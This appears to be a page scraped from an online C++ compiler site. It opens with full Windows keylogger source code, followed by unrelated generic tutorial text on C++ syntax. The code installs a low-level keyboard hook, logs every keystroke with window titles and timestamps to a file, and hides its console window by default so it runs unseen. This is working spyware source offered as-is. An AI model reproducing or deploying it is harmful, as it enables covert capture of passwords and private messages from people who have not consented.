#include <cstdio>
#include <fstream>
#include <iostream>
#include <sstream>
#include <time.h>
// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define invisible // (visible / invisible)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;
// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke);
std::ofstream output_file;
// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
kbdStruct = *((KBDLLHOOKSTRUCT*) lParam);
// save to file
Save(kbdStruct.vkCode);
}
}
// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
// Set the hook and set it to use the callback function above
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
LPCWSTR a = L"Failed to install hook!";
LPCWSTR b = L"Error";
MessageBox(NULL, a, b, MB_ICONERROR);
}
}
void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}
int Save(int key_stroke)
{
std::stringstream output;
static char lastwindow[256] = "";
if ((key_stroke == 1) || (key_stroke == 2))
{
return 0; // ignore mouse clicks
}
HWND foreground = GetForegroundWindow();
DWORD threadID;
HKL layout = NULL;
if (foreground)
{
// get keyboard layout of the thread
threadID = GetWindowThreadProcessId(foreground, NULL);
layout = GetKeyboardLayout(threadID);
}
if (foreground)
{
char window_title[256];
GetWindowTextA(foreground, (LPSTR) window_title, 256);
if (strcmp(window_title, lastwindow) != 0)
{
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
// get time
time_t t = time(NULL);
struct tm tm;
localtime_s(&tm, &t);
char s[64];
strftime(s, sizeof(s), "%c", &tm);
output << "\n\n[Window: " << window_title << " - at " << s << "] ";
}
}
int form = FORMAT;
switch (form)
{
case 10:
output << '[' << key_stroke << ']';
break;
case 16:
output << std::hex << "[0x" << key_stroke << ']';
break;
default:
if (key_stroke == VK_BACK)
{
output << "[BACKSPACE]";
}
else if (key_stroke == VK_RETURN)
{
output << "\n";
}
else if (key_stroke == VK_SPACE)
{
output << " ";
}
else if (key_stroke == VK_TAB)
{
output << "[TAB]";
}
else if ((key_stroke == VK_SHIFT) || (key_stroke == VK_LSHIFT) || (key_stroke == VK_RSHIFT))
{
output << "[SHIFT]";
}
else if ((key_stroke == VK_CONTROL) || (key_stroke == VK_LCONTROL) || (key_stroke == VK_RCONTROL))
{
output << "[CONTROL]";
}
else if (key_stroke == VK_MENU)
{
output << "[ALT]";
}
else if ((key_stroke == VK_LWIN) || (key_stroke == VK_RWIN))
{
output << "[WIN]";
}
else if (key_stroke == VK_ESCAPE)
{
output << "[ESCAPE]";
}
else if (key_stroke == VK_END)
{
output << "[END]";
}
else if (key_stroke == VK_HOME)
{
output << "[HOME]";
}
else if (key_stroke == VK_LEFT)
{
output << "[LEFT]";
}
else if (key_stroke == VK_UP)
{
output << "[UP]";
}
else if (key_stroke == VK_RIGHT)
{
output << "[RIGHT]";
}
else if (key_stroke == VK_DOWN)
{
output << "[DOWN]";
}
else if (key_stroke == VK_PRIOR)
{
output << "[PG_UP]";
}
else if (key_stroke == VK_NEXT)
{
output << "[PG_DOWN]";
}
else if (key_stroke == VK_OEM_PERIOD || key_stroke == VK_DECIMAL)
{
output << ".";
}
else if (key_stroke == VK_OEM_MINUS || key_stroke == VK_SUBTRACT)
{
output << "-";
}
else if (key_stroke == VK_CAPITAL)
{
output << "[CAPSLOCK]";
}
else
{
char key;
// check caps lock
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
// check shift key
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
// map virtual key according to keyboard layout
key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
// tolower converts it to lowercase properly
if (!lowercase)
{
key = tolower(key);
}
output << char(key);
}
break;
}
// instead of opening and closing file handlers every time, keep file open and flush.
output_file << output.str();
output_file.flush();
std::cout << output.str();
return 0;
}
void Stealth()
{
#ifdef visible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif
#ifdef invisible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif
}
int main()
{
// open output file in append mode
const char* output_filename = "keylogger.log";
std::cout << "Logging output to " << output_filename << std::endl;
output_file.open(output_filename, std::ios_base::app);
// visibility of window
Stealth();
// set the hook
SetHook();
// loop to keep the console application running.
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
}
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OneCompiler's C++ online compiler supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample program which takes name as input and print your name with hello.
#include <iostream>
#include <string>
using namespace std;
int main()
{
string name;
cout << "Enter name:";
getline (cin, name);
cout << "Hello " << name;
return 0;
}
C++ is a widely used middle-level programming language.
When ever you want to perform a set of operations based on a condition If-Else is used.
if(conditional-expression) {
//code
}
else {
//code
}
You can also use if-else for nested Ifs and If-Else-If ladder when multiple conditions are to be performed on a single variable.
Switch is an alternative to If-Else-If ladder.
switch(conditional-expression){
case value1:
// code
break; // optional
case value2:
// code
break; // optional
......
default:
code to be executed when all the above cases are not matched;
}
For loop is used to iterate a set of statements based on a condition.
for(Initialization; Condition; Increment/decrement){
//code
}
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while (condition) {
// code
}
Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.
do {
// code
} while (condition);
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity. Function gets run only when it is called.
return_type function_name(parameters);
function_name (parameters)
return_type function_name(parameters) {
// code
}